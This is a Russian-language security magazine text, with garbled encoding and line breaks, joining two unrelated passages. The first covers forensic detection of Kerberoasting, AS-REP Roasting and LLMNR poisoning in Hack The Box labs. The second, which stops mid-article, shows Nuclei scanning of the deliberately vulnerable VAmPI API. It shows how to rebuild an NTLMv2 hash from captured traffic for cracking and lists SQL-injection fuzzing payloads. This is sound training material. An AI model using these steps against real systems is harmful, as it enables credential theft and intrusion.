https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getprocesshandlecount
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ВЗЛОМ

В этой статье я покажу нес коль ко атак
на Active Directory, пореко мен дую ути литы
для экс плу ата ции и рас ска жу об инди като- 
рах, на которые нуж но обра щать вни мание
при рас сле дова нии инци ден тов.
А упражнять ся будем на лабора тор ных
работах Sherlocks с пло щад ки Hack
The Box.

ÏÎ×ÅÌÓ ÑÒÎÈÒ ÓÄÅËÈÒÜ ÎÑÎÁÎÅ ÂÍÈÌÀÍÈÅ ÈÌÅÍÍÎ ÀÒÀÊÀÌ
ÍÀ ACTIVE DIRECTORY?

Ин фраструк тура мно гих ком паний пос тро ена на осно ве служ бы катало гов
Active Directory. Даже с уче том того, что сеть может содер жать неболь шое
количес тво хос тов, сер веров, сер висов и служб, за дос таточ но корот кий про- 
межу ток вре мени в сис теме про исхо дят тысячи событий, из-за чего ста новит- 
ся зат рудни тель но ана лизи ровать компь ютер ные инци ден ты.

По мимо это го, в интерне те мож но най ти мно жес тво матери алов по реали- 
зации как прос тых, так и прод винутых атак на AD. Поэто му любой скрипт-кид- 
ди, воору жив шись парой ути лит, может рис кнуть и поп робовать свои силы
в хакин ге, что уж говорить про серь езных кибер прес тупни ков.

Все это спо собс тву ет тому, что ребятам из блю-тима важ но обла дать зна- 
ниями в сфе ре безопас ности инфраструк туры и уметь быс тро реаги ровать
на подоб ные инци ден ты, а так же находить ошиб ки в кон фигура ции AD.

1. KERBEROASTING

Пе ред тем как мы прис тупим к раз бору пер вой лабора тор ной работы, нач нем
с неболь шого экскур са в теорию, что бы знать вра га в лицо.

Про токол Kerberos в Active Directory исполь зует ся для аутен тифика ции
поль зовате лей и пре дос тавле ния дос тупа к служ бам. Ког да поль зователь
пыта ется получить дос туп к ресур су, который управля ется име нем субъ- 
екта-служ бы (SPN), при исполь зовании Kerberos кон трол лер домена соз дает
сер висный билет (ST) и шиф рует его с исполь зовани ем хеша пароля SPN.
Пос ле это го веб-сер вер рас шифро выва ет и под твержда ет под линность ST.

Од нако, если зап рос на получе ние сер висно го билета исхо дит от самого
кон трол лера домена, про вер ка того, име ет ли поль зователь необ ходимые
пра ва для дос тупа к пре дос тавля емым SPN ресур сам, не выпол няет ся.

Те перь о самом инте рес ном: зло умыш ленни ки, зная кон крет ную служ бу
(или SPN), которую они намере ны ата ковать, могут отпра вить зап рос на ST
с кон трол лера домена и получить обратно ST, зашиф рован ный хешем пароля
соот ветс тву юще го SPN.

Час то для про веде ния ата ки Kerberoasting исполь зуют ути литу
GetUserSPNs из ком плек та дос таточ но мощ ного инс тру мен та ауди та
Impacket. Таким обра зом, зло умыш ленник получа ет хеш SPN, который он
может проб рутить в авто ном ном режиме и зав ладеть паролем учет ки в откры- 
том виде. Если корот ко, то в этом и зак люча ется вся суть опи сан ной ата ки.
В рам ках MITRE ATT&CK Kerberoasting она отно сит ся к .под техни ке T1558.003

Campfire-1
Итак, чита ем опи сание лабора тор ной работы , ска чива ем архив,
рас паковы ваем его и видим, что нам пре дос тавле ны prefetch-фай лы машины
жер твы, жур налы событий рабочей стан ции и кон трол лера домена.

Campre-1

Нач нем поиск игол ки в сто ге сена с прос мотра событий с кодом 

в жур нале безопас ности на кон трол лере домена. Этот код обоз нача ет зап рос
билета служ бы Kerberos.

4769

Да же в сред ней по раз меру инфраструк туре Active Directory такие зап росы
могут про исхо дить боль ше тысячи раз за пару минут, поэто му отфиль тру ем
средс тво прос мотра событий по ID , что зна читель но упростит наш
поиск.

4769

Те перь нам пред сто ит отсе ять обыч ные опе рации AD от подоз ритель ных.
Для это го рас смот рим фор му события попод робнее.

Здесь мы видим, что учет ная запись  зап росила сер висный билет

для сер виса, наз ванно го . В Windows име на, закан чива ющиеся сим- 

волом дол лара ( ), обыч но явля ются учет ными запися ми служб и машин ными

учет ными запися ми. Ана логич но служ ба  свя зана с этой учет ной
записью служ бы.

DC01$
DC01$

$
DC01$

Все это отно сит ся к стан дар тным опе раци ям AD. Ниже мы можем уви деть
параметр под наз вани ем «Тип шиф рования билета» со зна чени ем , что
экви вален тно . В легитим ных слу чаях исполь- 

зования опе раций с билета ми Kerberos тип шиф рования будет  или .

0x12
AES256-CTS-HMAC-SHA1-96

0x12 0x11
Ес ли мы уви дим тип шиф рования , что соот ветс тву ет потоко вому

шиф ру RC4, это будет поводом глуб же изу чить ситу ацию: зло умыш ленник
может зап росить билет с таким типом шиф рования, потому что это поз волит
ему взло мать пароль, зат ратив мень ше уси лий.

0x17

INFO

Все основные инс тру мен ты с откры тым исходным
кодом, такие как Impacket и Rubeus, зап рашива- 
ют билеты с типом шиф рования RC4.

За пом ним иден тифика торы, которые помогут быс тро отсле дить необ ходимое
событие с подоз рени ем на Kerberoasting, поэто му обра щаем вни мание
на сле дующие важ ные момен ты.
1. Учет ные записи, которые не явля ются учет ной записью служ бы

или машины (и не закан чива ются сим волом ). Сле дова тель но, под подоз- 
рени ем любая стан дар тная учет ная запись домена поль зовате ля (эта учет- 
ная запись была ском про мети рова на, и с ее помощью зло умыш ленник
совер шил ата ку).

$

2. Наз вания служб, которые не закан чива ются сим волом .$
3. Тип шиф рования билета , что соот ветс тву ет шиф рованию RC4,

которое поз волит зло умыш ленни кам лег ко взло мать хеш.

0x17

С помощью перечис ленных кри тери ев лег ко находим нуж ное событие.

Вид но, что учет ная запись домена  зап росила билет для служ- 

бы  с типом шиф рования  с компь юте ра, име юще го IP-

адрес . Запом ним эти инди като ры ком про мета ции, пос коль ку

даль нейший ана лиз будет осно вывать ся на пос тро ении тай млай на от это го
события с исполь зовани ем IP-адре са и име ни учет ной записи.

alonzo.spire
MSSQLService 0x17

172.17.79.129

Поп робу ем разоб рать ся с тем, какие дей ствия про исхо дили от име ни
учет ки . Для это го откро ем жур нал событий PowerShell. Дата
и вре мя ранее най ден ного нами события Kerberoasting — 

 (и да, не забыва ем перево дить вре мя в UTC). В жур нале событий

PowerShell на хос те ищем подоз ритель ную активность при мер но в это же вре- 
мя.

alonzo.spire
2024-05-21 03:

18:09

По доз ревая, что вре донос ные дей ствия были совер шены с исполь зовани- 
ем , отфиль тру ем события по ID  (в этих событи ях мож но
будет уви деть тело выпол няемо го скрип та).

powershell.exe 4104

И дей стви тель но, находим подоз ритель ное событие с бай пасом выпол- 
нения сце нария PowerShell бук валь но за пару минут до совер шения ата ки.

Та кое дей ствие поз воля ет выпол нять сце нарии в сеан се PowerShell. Из даль- 
нейше го ана лиза событий вид но, что все они были частью одно го сце нария.

Об наруже ны доказа тель ства злов реднос ти сце нария ,

который исполь зовал ся для совер шения дей ствий на эта пе пос тэкс плу ата- 
ции.

PowerView.ps1

Приш ло вре мя про ана лизи ровать фай лы пред варитель ной заг рузки.
Для это го вос поль зуем ся ути литой  Эри ка Цим мерма на. Пре обра зуем
prefetch-фай лы в :

PECmd
.csv

   
 

PECmd.exe -d "путь/к/папке/с/файлами/предварительной/загрузки" --csv
. --csvf наш_ксв_файл.csv 

Для более удоб ного ана лиза с помощью Timeline Explorer откры ваем 
и филь тру ем дату инци ден та по пос ледне му запус ку.

.csv

Со пос тавив вре мен ные мет ки событий, находим, что в инте ресу ющий нас
про межу ток вре мени запус кался  — инс тру мент, исполь зуемый

при пен тесте и ата ках на AD.

RUBEUS.EXE

Ìåðû ïðåäîòâðàùåíèÿ
Что бы пре дот вра тить такие ата ки, важ но исполь зовать длин ные и слож ные
пароли для учет ных записей служб. Это зна читель но замед лит взлом хешей.

Для при виле гиро ван ных служб рас смот ри воз можность при менять
управля емые груп пы сер висных учет ных записей (GMSA), что бы гаран- 
тировать исполь зование длин ных, слож ных паролей, которые час то меня- 
ются.

Ре али зация управле ния при виле гиро ван ным дос тупом (PAM) так же
поможет огра ничить воз дей ствие при виле гиро ван ных учет ных дан ных
и умень шить повер хность ата ки для Kerberoasting, одновре мен но обес- 
печивая монито ринг всех изме нений раз решений для групп безопас ности.

Продолжение статьи →

https://t.me/k0n70r4
https://attack.mitre.org/techniques/T1558/003/
https://app.hackthebox.com/sherlocks/Campfire-1


БАЗОВЫЕ АТАКИ НА AD
РАЗБИРАЕМ KERBEROASTING, AS-

REP ROASTING И LLMNR POISONING

ВЗЛОМ  НАЧАЛО СТАТЬИ←

2. AS-REP ROASTING

А теперь еще нем ного теории, что бы понять, что это за зверь такой — AS-REP
Roasting. Зап рос сер вера аутен тифика ции (AS-REQ) обыч но называ ют пред- 
варитель ной аутен тифика цией Kerberos. Пер вое, что про исхо дит во вре мя
аутен тифика ции внут ри Kerberos, — это зап рос аутен тифика ции к кон трол- 
леру домена, что бы мож но было про верить юзе ра, пыта юще гося прой ти
аутен тифика цию.

Ког да сис тема убе дит ся, что кли ент про шел авто риза цию, она отпра вит
ему ответ от сер вера аутен тифика ции (AS-REP), содер жащий сеан совый ключ
и про пус кной билет (TGT). Этот сеан совый ключ зашиф рован с помощью
хеша пароля поль зовате ля, так что толь ко он может его рас шифро вать
и исполь зовать сно ва.

А теперь об инте рес ном. Если поль зовате ли в домене нас тро ены про пус- 
кать про цесс пред варитель ной аутен тифика ции, то зло умыш ленни ки могут
отправ лять зап рос AS (AS-REQ) от име ни этих поль зовате лей, потому что AS-
REP содер жит сеан совые клю чи, зашиф рован ные их пароль ными хешами.
В резуль тате зло умыш ленник может получить хеш пароля любого юзе ра
в сис теме. Да, инте рес но, зачем же отклю чать про цесс пред варитель ной
аутен тифика ции? На деле адми ны иног да вык люча ют эту фун кцию на вре мя
выпол нения отла доч ных работ или тес тов, а потом поп росту забыва ют вклю- 
чить ее обратно.

За дачу взлом щикам очень силь но упро щает ути лита GetNPUsers
из набора инс тру мен тов Impacket. Затем хакеры могут начать брут форсить
пароли, что бы рас шифро вать сеан совый ключ. В слу чае успе ха ата кующий
узна ет пароль поль зовате ля.

Спе циалис ты по информа цион ной безопас ности час то называ ют этот
зашиф рован ный сеан совый ключ хешем, но он на самом деле таковым
не явля ется. Одна ко такие инс тру мен ты, как  и ,

могут очень быс тро под бирать пароли к подоб ному «хешу». AS-REP Roasting
сопос тавлен с  в рам ках MITRE ATT&CK.

Hashcat John the Ripper

под техни кой T1558.004

Campfire-2
Пой дем раз бирать ся с тем, как же это все детек тить, на при мере лабора тор- 
ной работы . Выпол няем стан дар тные про цеду ры: кача ем архив,
рас паковы ваем его и видим, что перед нами файл жур нала событий

 (если что, этот файл взят с кон трол лера домена).

Campre-2

Security.evtx
Так же как и в пре дыду щей лабора тор ной, пра виль ная работа с филь тра ми

и понима ние того, на что нуж но обра тить вни мание, поможет нам сок ратить
вре мя иссле дова ния и реаги рова ния на угро зу.

Пер вое, что мы сра зу же начина ем ана лизи ровать, — события с ID .

Это иден тифика тор события, записы ваемый в жур налах безопас ности на кон- 
трол лере домена каж дый раз, ког да зап рашива ется билет про вер ки под- 
линнос ти Kerberos.

4768

Рас смот рим под робнее фор му одно го из событий.

• : учет ная запись поль зовате ля, зап росив шая билет

про вер ки под линнос ти у кон трол лера домена.

Èìÿ ó÷åò íîé çàïèñè

• : имя служ бы, обра ботав шей билет.Èìÿ ñëóæ áû

• : отоб ража ет исполь зуемый алго ритм шиф- 

рования билета (нап ример, AES, RC4).

Òèï øèô ðîâàíèÿ áèëåòà

• : код сос тояния
показы вает, была ли отклю чена или вклю чена пред варитель ная аутен- 
тифика ция для ука зан ного объ екта ( ).

Òèï ïðåä âàðèòåëü íîé ïðî âåð êè ïîä ëèííîñ òè

Èìÿ ó÷åò íîé çàïèñè

В нашем слу чае отоб ража ется обыч ное событие зап роса билета аутен- 
тифика ции поль зовате лем  у уни вер саль ной служ бы AD —

.

Administrator
krbtgt

Уже тра дици онно обра щаем вни мание на исполь зование опре делен ного
типа шиф рования. Если мы уви дим тип шиф рования , который пред став- 

ляет собой , то это будет под сказ кой — такой тип поз воля ет зло умыш- 

ленни кам быс трее рас шифро вать пароль.

0x17
RC4

Сок раща ем количес тво тре бующих рас сле дова ния событий — отбра сыва- 
ем все име на служб, кро ме . Это свя зано с тем, что во вре мя ата ки

зло умыш ленник получа ет билет аутен тифика ции — точ но так же, как это сде- 
лала бы закон ная учет ка поль зовате ля, а  — это стан дар тная служ ба

AD, которая обра баты вает поток аутен тифика ции в Active Directory.

krbtgt

krbtgt

По каза телем того, что хакер успешно про вел ата ку AS-REP (неваж но, уда- 
лось ему взло мать хеш или нет), слу жит зна чение типа пред варитель ной про- 
вер ки под линнос ти в резуль тиру ющих жур налах.

Пе редо вой спо соб поис ка угроз для этой ата ки — прос то най ти тип пред- 
варитель ной аутен тифика ции , озна чающей, что она отклю чена. Таким

обра зом мы убе рем боль шую часть бес полез ных событий в жур налах, оста- 
вив для ана лиза более деталь ные резуль таты.

= 0

Да вай еще раз перечис лим все необ ходимое для успешно го детек та.
Изна чаль но мы отсле жива ем все события , но берем во вни мание те,

где:

4768

1. Тип пред варитель ной про вер ки под линнос ти равен , то есть аутен- 
тифика ция отклю чена. Это важ ное усло вие, которое необ ходимо выпол- 
нить, пос коль ку без это го ата ка невоз можна.

0

2. Имя служ бы — , пос коль ку толь ко  может выпол нять про цес- 
сы аутен тифика ции в AD.

krbtgt krbtgt

3. Тип шиф рования билета — , соот ветс тву ющий шиф рованию RC4, что

поз волит зло умыш ленни кам лег ко взло мать хеш.

0x17

Ос новыва ясь на этих филь трах, быс тро находим инте ресу ющее нас событие.

Ста новит ся ясно, что юзер  был ском про мети рован, одна ко

сущес тву ет еще одна взло ман ная учет ка, от лица которой выпол нялась ата ка.

arthur.kyle

У нас есть IP-адрес машины, с которой пос тупил зап рос, поэто му будем
искать события билетов служ бы Kerberos, так как каж дая учет ная запись поль- 
зовате ля домена зап рашива ет их либо во вре мя вхо да в сис тему (при аутен- 
тифика ции), либо при обыч ном исполь зовании домена.

От филь тру ем жур нал по ID  (зап рос билета служ бы Kerberos) и рас- 
смот рим события, про исхо див шие во вре мя вре донос ной активнос ти.

4769

Че рез минуту пос ле обна ружен ного AS-REP Roasting про исхо дит событие
с учет ки  с того же IP-адре са .happy.grunwald 172.17.79.129

Ка залось бы, это обыч ный ивент и здесь нет ничего подоз ритель ного. Но,
учи тывая, что вход в сис тему под юзе ром  выпол нялся
во вре мя ата ки AS-REP Roasting и исхо дил с той же машины, мож но пред- 
положить, что и эта учет ка была ском про мети рова на. Этот факт однознач но
рас ширя ет мас штаб все го инци ден та.

happy.grunwald

К сожале нию, лабора тор ная работа не пре дос тавля ет нам допол нитель- 
ные арте фак ты, поэто му никак не удас тся рас сле довать эту кибера таку пол- 
ностью.

INFO

Ата ка AS-REP Roasting воз можна толь ко
при наличии спис ка поль зовате лей (то есть если
ты получил его из нулево го сеан са SMB). Но если
ты прос то исполь зуешь инс тру мент вро де

 или , тебе пот ребу ется
активная учет ная запись поль зовате ля для зап- 
роса спис ка юзе ров (все это про исхо дит
в фоновом режиме при запус ке ата ки). Это озна- 
чает, что ата ка может быть выпол нена
без какой-либо аутен тифика ции, если зло умыш- 
ленник каким-либо обра зом заполу чил спи сок
поль зовате лей (к при меру, перебо ром уче ток
с помощью Kerbrute).

GetNPUsers.py Rubeus

Ìåðû ïðåäîòâðàùåíèÿ
Всег да внед ряй надеж ную полити ку паролей с исполь зовани ем слож ных
паролей, которые регуляр но меня ются. Если есть воз можность, то повысь
безопас ность, вклю чив 2FA для аутен тифици рован ных сер висов.

Что бы пре дот вра тить ата ки AS-REP Roasting, край не важ но убе дить ся, что
пред варитель ная аутен тифика ция вклю чена для каж дой учет ной записи.

3. LLMNR POISONING

Рань ше в сетях Windows исполь зовал ся про токол Network Basic Input/Output
System (NetBIOS) для выпол нения опе раций через сеть. Важ ной частью это го
про токо ла был NetBIOS Name Service (NBT-NS), отве чав ший за регис тра цию
и раз решение имен. LLMNR (Link-Local Multicast Name Resolution) — это пря- 
мой пре емник NBT-NS. Он выпол няет ту же фун кцию, что и его пред шес твен- 
ник, — раз решение имен хос тов в той же локаль ной сети.

LLMNR поз воля ет раз решать как адре са IPv4, так и IPv6 без необ ходимос- 
ти наличия DNS-сер вера в локаль ной сети. Если зап рос к DNS-сер веру
не выпол няет ся (нап ример, если DNS-сер вер недос тупен), отправ ляет ся
LLMNR-зап рос по локаль ной сети.

Суть в том, что LLMNR не тре бует аутен тифика ции, поэто му любой компь- 
ютер в локал ке может выпол нить зап рос LLMNR. Если кто-то прос лушива ет
локаль ную сеть, он может отве чать на эти зап росы, пред став ляя устрой ство
сво им IP-адре сом и перенап равляя тра фик. Все это может при вес ти к потен- 
циаль но опас ному поведе нию и ата кам, таким как LLMNR Poisoning.

INFO

Responder — популяр ный инс тру мент, вхо дящий
в пакет ути лит Kali Linux, для про веде ния атак
с отравле нием LLMNR.

Ес ли в сети про исхо дит событие LLMNR и зло умыш ленник его прос лушива ет,
то он может получить кон фиден циаль ную информа цию о жер тве, такую   как IP-
адрес, имя поль зовате ля и хеш пароля. Затем хакеры могут попытать ся взло- 
мать получен ный хеш и получить пароль в откры том виде либо передать этот
хеш для аутен тифика ции в опре делен ной служ бе. LLMNR/NBT-NS Poisoning
и SMB Relay сопос тавле ны с  в MITRE ATT&CK.под техни кой T1557.001

Noxious
Опи сание лабора тор ной работы  сра зу спой лерит, что мы будем
иметь дело с LLMNR-отравле нием. Для работы нам пре дос тавля ют файл
с дам пом тра фика.

Noxious

От кры ваем  и филь тру ем его по LLMNR-тра фику, что бы уви деть,

какие хос ты учас тво вали во вза имо дей стви ях, а так же отме тить исполь зуемые
IP-адре са.

.pcap

INFO

LLMNR по умол чанию работа ет на пор те 
. Поэто му филь тр будет выг лядеть так:

.

UDP 
5355
udp.port == 5355

В самом начале отфиль тро ван ного тра фика вид но, что хост 

выпол нил DNS-зап рос , а дру гой хост  отве тил на этот

зап рос.

172.17.79.136
DCC01 172.17.79.135

Пред ста вим (а поз же и докажем), что зап рос  — опе чат ка в обра щении

к , это мог ло при вес ти к сбою в работе DNS-сер вера и исполь зованию
про токо ла LLMNR, зап рос которо го перех ватил зло умыш ленник.

DCC01
DC01

Сле дует убе дить ся в том, что  — IP-адрес зло умыш ленни- 

ка. Для это го про верим DHCP-тра фик с соот ветс тву ющим филь тром .

Находим DHCP-зап рос меж ду подоз рева емым IP и DHCP-сер вером. Мы
видим имя хос та машины, которая арен довала IP-адрес .

172.17.79.135
dhcp

172.17.79.135

До кажем кра жу учет ных дан ных, про ана лизи ровав SMB-тра фик с филь тром
.smb2

Здесь мы видим нес коль ко NTLM-аутен тифика ций юзе ра , иду- 

щих друг за дру гом за корот кий про межу ток вре мени. Пос мотрим, какие име- 
на у вза имо дей ству ющих хос тов.

john.deacon

Пе рей ди в раз дел «Прос мотр → Раз решение имен» и вклю чи «Раз- 
решение сетевых адре сов». Теперь будут отоб ражать ся име на хос тов.

Мы пом ним, что  не реаль ный хост. Имя хос та Kali в сети интер пре тиро- 

валось в SMB-тра фике, поэто му компь ютер жер твы , чьи дан ные
были укра дены, дума ет, что машина Kali — это хост .

DCC01
Wkstn002

DCC01
Пос мотрим, к какому фай ловому ресур су пыталась обра тить ся жер тва, так

и не осоз нав того, к чему при вела ее опе чат ка.

Да вай рас смот рим про цесс получе ния пароля из ском про мети рован ного
хеша.

Вни матель но изу чим тра фик с филь тром  и пой мем, что здесь

при сутс тву ет NTLM Relay. Аутен тифика ция NTLM выпол няет ся вза имо дей- 
стви ем из трех пакетов:

ntlmssp

;• NTLMSSP_NEGOTIATE

;• NTLMSSP_CHALLENGE

.• NTLMSSP_AUTH

У хеша NTLMv2 есть опре делен ная фор ма, которая выг лядит так:
User::Domain:ServerChallenge:NTProofStr:NTLMv2Response
За пол ним ее дан ными из пакетов аутен тифика ции:

•  и  мож но получить из пакета ;User Domain NTLMSSP_NEGOTIATE
•  най дем в пакете ;ServerChallenge NTLMSSP_CHALLENGE
•  находит ся в пакете ;NtProofStr NTLMSSP_AUTH
•  содер жит в начале тот же , поэто му уби- 

раем из него пер вые 16 байт (32 сим вола), а его зна чение берем из того
же пакета .

NTLMv2Response NtProofStr

NTLMSSP_AUTH

Под став ляем най ден ное в фор му и получа ем:

john.deacon::FORELA:601019d191f054f1: 
c0cc803a6d9fb5a9082253a04dbd4cd4: 
010100000000000080e4d59406c6da01cc3dcfc0de9b5f2600000000020008004e 
0042004600590001001e00570049004e002d00360036004100530035004c003100 
470052005700540004003400570049004e002d00360036004100530035004c0031 
0047005200570054002e004e004200460059002e004c004f00430041004c000300 
14004e004200460059002e004c004f00430041004c00050014004e004200460059 
002e004c004f00430041004c000700080080e4d59406c6da010600040002000000 
0800300030000000000000000000000000200000eb2ecbc5200a40b89ad5831abf 
821f4f20a2c7f352283a35600377e1f294f1c90a00100000000000000000000000 
0000000000000900140063006900660073002f0044004300430030003100000000 
0000000000 

Ос тает ся толь ко сбру тить получен ный хеш, исполь зуя Hashcat или John
the Ripper, и узнать пароль от учет ной записи.

Ìåðû ïðåäîòâðàùåíèÿ
Ес ли исполь зование LLMNR/NBT-NS не тре бует ся в тво ей сре де, луч ше все- 
го пол ностью отклю чить эти про токо лы в целях безопас ности.

Но если по каким-то при чинам твоя орга низа ция не может отклю чить
LLMNR/NBT-NS, рас смот ри воз можность исполь зования сис тем сетево го
кон тро ля дос тупа (NAC) и уста нов ки слож ных паролей для миними зации рис- 
ка их взло ма.

ÂÛÂÎÄÛ

В статье мы рас смот рели работу базовых атак на Active Directory, ути литы,
исполь зуемые в этих ата ках, а так же необ ходимые маяч ки, помога ющие быс-
тро обна ружить подоб ные инци ден ты и отре аги ровать на них.

https://attack.mitre.org/techniques/T1558/004/
https://app.hackthebox.com/sherlocks/Campfire-2
https://attack.mitre.org/techniques/T1557/001/
https://app.hackthebox.com/sherlocks/Noxious
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ВЗЛОМ

В этой статье мы рас ска жем о ска ниро вании API веб-при- 
ложе ний с помощью ути литы Nuclei. Для демонс тра ции мы
будем ата ковать заведо мо уяз вимое при ложе ние, исполь- 
зующее OpenAPI. По дороге научим ся писать кас томные
шаб лоны для Nuclei, которые помогут искать уяз вимос ти
на авто мате.

ÝÔÔÅÊÒÈÂÍÎÑÒÜ DAST

Ди нами чес кое ска ниро вание (DAST) — один из важ ных эта пов ана лиза
защищен ности при ложе ния. Будь то пен тест или про цес сы application security,
в любом слу чае мы запус каем ска нер уяз вимос тей, который отправ ляет
к при ложе нию мно жес тво зап росов и пыта ется выявить проб лемы безопас- 
ности.

Од нако DAST не лишен недос татков.
Во-пер вых, нас трой ки ска неров по умол чанию не всег да поз воля ют прой- 

ти валида цию, так как не учи тыва ются осо бен ности кон крет ных зап росов
к API, нап ример, что в одном из парамет ров дол жен быть UUID.

Во-вто рых, ска нер по умол чанию ничего не зна ет про аутен тифика цию.
Если его зап росы не содер жат bearer-токен или cookie, то мы прос то получим
ошиб ку, не дой дя до проб лемы.

В-треть их, это отчет, в котором может быть отме чено мно жес тво нез- 
начитель ных недос татков безопас ности, что меша ет заметить реаль но важ- 
ные уяз вимос ти и уде лить им вре мя.

В этой статье я покажу, как улуч шить DAST, нас тро ив динами чес кое ска- 
ниро вание под кон крет ное при ложе ние с помощью аутен тифика ции и фаз- 
зинга OpenAPI, на при мере ска нера уяз вимос тей Nuclei. Так же напишем три
кас томных шаб лона для нахож дения уяз вимос тей:
1. Раз гла шение информа ции.
2. Error based SQL-инъ екции.
3. Broken Object Level Authorization.

В качес тве подопыт ного возь мем  — спе циаль ное уяз вимое при ложе- 
ние для тес тирова ния защищен ности API. У него есть под дер жка OpenAPI
и показа тель ные при меры небезо пас ной реали зации. Что бы его уста новить,
дос таточ но кло ниро вать репози торий и запус тить :

VAmPI

docker compose

git clone https://github.com/erev0s/VAmPI 
cd VAmPI 
docker compose up 

Так же необ ходимо ини циали зиро вать базу дан ных, отпра вив GET-зап рос:

 

 

curl http://127.0.0.1:5002/createdb 
{ "message": "Database populated." }

Для начала запус тим Nuclei с нас трой ками по умол чанию (дос таточ но
передать цель для ска ниро вания):

nuclei -u http://127.0.0.1:5002 

При таком запус ке Nuclei исполь зует встро енные шаб лоны. В резуль тате
видим лож нополо житель ные резуль таты и информа цион ные замеча ния,
которые могут быть полез ны толь ко на эта пе сбо ра информа ции при пен- 
тесте.

На ша цель — най ти , поэто му мы напишем кас- 
томные шаб лоны для ска ниро вания извес тно го REST API на уяз вимос ти,
наличие которых мы можем пред полагать из понима ния реали зации. В этом
нам помогут воз можнос ти, которые появи лись в Nuclei вер сии 3.2.

ðå àëü íûå ïðîá ëåìû

ÔÀÇÇÈÍÃ Ñ NUCLEI

Ес ли у при ложе ния мно го эндпо интов HTTP, каж дый из которых может обра- 
баты вать мно жес тво парамет ров, про вер ка ста новит ся уто митель ной.

Ав томати зиро вать ана лиз защищен ности круп ных API помога ет фаз зинг —
тех ника, которая пос ледова тель но при меня ет набор про верок ко всем воз- 
можным вари ациям зап росов к при ложе нию.

Мы можем передать реаль ные зап росы из дам па тра фика дру гих инс тру- 
мен тов, логов или спе цифи кации OpenAPI в Nuclei. Оста новим ся на OpenAPI,
так как ее под дер жка есть у мно гих сов ремен ных веб-при ложе ний и в отли чие
от сбо ра тра фика такой метод не тре бует активных дей ствий.

Пе редать OpenAPI в Nuclei мож но сле дующим обра зом:

      nuclei -l openapi.json -im openapi -t templates

При мер шаб лона для фаз зинга:

http:
   # Filter checks if the template should be executed on a given 
request
  - pre-condition:

       - type: dsl
       dsl:

          - method == POST
          - len(body) > 0

        condition: and
   # Payloads that will be used in fuzzing
   payloads:

      injection: # Variable name for payload
        - "'"
        - "\""
        - ";"

   # Fuzzing rules
   fuzzing:

         - part: body # This rule will be applied to the Body
         type: postfix # Postfix type of rule (i. e., payload will be 

added at the end of exiting value)
          mode: single # Single mode (i. e., existing values will be 

replaced one at a time)
       fuzz:         # Format of payload to be injected

           - '{{injection}}' # Here, we are directly using the value 
of the injection variable

В шаб лоне выше сек ция  филь тру ет и запус кает про вер ку

толь ко POST-зап росов с непус тым телом.

pre-condition

  - pre-condition:
       - type: dsl

       dsl:
          - method == POST
          - len(body) > 0

        condition: and

Вот какие час ти HTTP-зап роса может фаз зить Nuclei:
 — парамет ры зап роса;• part: query

 — путь;• part: path

 — заголо вок;• part: header

 — cookie;• part: cookie

 — тело зап роса.• part: body

Это далеко не все нас трой ки фаз зинга Nuclei, но для наших целей дос таточ- 
но.

ÑÊÀÍÈÐÎÂÀÍÈÅ Ñ ÀÓÒÅÍÒÈÔÈÊÀÖÈÅÉ

Ес ли зап росы ска нера не про ходят даль ше авто риза ции при ложе ния, то
от него может быть мало поль зы, так как мно гие уяз вимос ти скры вают ся
гораз до глуб же — в сло ях с биз нес-логикой и в репози тории.

Для ска ниро вания с аутен тифика цией необ ходимо соз дать спе циаль ный
файл и передать его Nuclei при ска ниро вании:

nuclei -u http://127.0.0.1:5002 -secret-file secrets.yaml 

Под держи вают ся сле дующие виды аутен тифика ции:
Basic Auth;•
API Key;•
Bearer Token;•
Custom Header;•
Cookie.•

При мер фай ла аутен тифика ции:

# static secrets
static:
 # 1. Basic Auth based auth
   - type: basicauth
   domains:

      - scanme.sh
    username: test
    password: test

 # 2. API Key (via query parameters) based auth
   - type: query
   domains:

      - example.com
   params:

       - key: token
        value: 1a2b3c4d5e6f7g8h9i0j

 # 3. Bearer Token based auth
   - type: bearertoken
   domains-regex:

      - .*scanme.sh
      - .*pdtm.sh

    token: test

 # 4. Custom Header based auth
   - type: header
   domains:

      - api.projectdiscovery.io
      - cve.projectdiscovery.io
      - chaos.projectdiscovery.io

   headers:
       - key: x-pdcp-key

        value: <api-key-here>

 # 5. Cookie based auth
   - type: cookie
   domains:

      - scanme.sh
   cookies:

       - key: PHPSESSID
        value: 1a2b3c4d5e6f7g8h9i0j

       # raw: "PHPSESSID=1a2b3c4d5e6f7g8h9i0j" (an alternative way 
to specify cookie value)

ÏÎÄÃÎÒÀÂËÈÂÀÅÌ OPENAPI

OpenAPI — это не самая стро гая спе цифи кация, а ее обра бот ка в Nuclei
не иде аль на (по край ней мере текущая реали зация), поэто му иног да необ- 
ходимо редак тирова ние.

На нашем стен де с VAmPI по пути  рас полага ется Swagger UI./ui/

Ска чаем OpenAPI:

wget http://127.0.0.1:5002/openapi.json 

Ес ли поп робовать запус тить Nuclei со ска чан ной спе цифи каци ей, будет
ошиб ка.

 
 
[WRN] Could not generate requests from op: could not dump request: 
unsupported protocol scheme "" 
 

Ошиб ка тре бует, что бы в OpenAPI был явно задан URL тес тиру емо го при- 
ложе ния. Давай это испра вим.

Ес ли сно ва попытать ся запус тить ска ниро вание, получим еще одну ошиб ку.

 
 
[WRN] Could not generate requests from op: [openapi:RUNTIME] security 
scheme (bearer) name is empty 
 

На этот раз Nuclei не нра вит ся пус той мас сив  в сек ции ,

хотя имен но так  при мер bearer-аутен тифика ции на сай те самой
OpenAPI.

bearerAuth security
за дан

Нас это не оста новит: мы прос то вез де убе рем сек цию . Вруч ную

это делать не советую, есть замеча тель ная ути лита , с помощью которой

мы спра вим ся с этим одной коман дой:

security
jq

jq 'del(.. | .security?)' openapi.json > openapi_done.json 

Так же, если нам хочет ся работать с фаз зингом парамет ров в path, c текущей
реали заци ей Nuclei у нас это сде лать нор маль но не получит ся, потому что он
работа ет с  как с пол ной стро кой, а не как с отдель ными парамет рами.path

INFO

В про цес се иссле дова ния я отпра вил репорт раз- 
работ чикам Nuclei и пред ложил дорабо тать этот
момент. Репорт , и он даже нашел одоб- 
рение со сто роны CTO раз работ чика.

при няли

А пока что к момен ту, ког да зап росы пос тупа ют на фаз зинг, в  вмес то

парамет ров в фигур ных скоб ках уже под став лены зна чения из OpenAPI
 для это го парамет ра. Что бы обой ти эту проб лему, мы исполь зуем

неболь шой хак: поменя ем зна чения в  на , что бы в URL при фаз- 

зинге были име на парамет ров.

path

example
example name

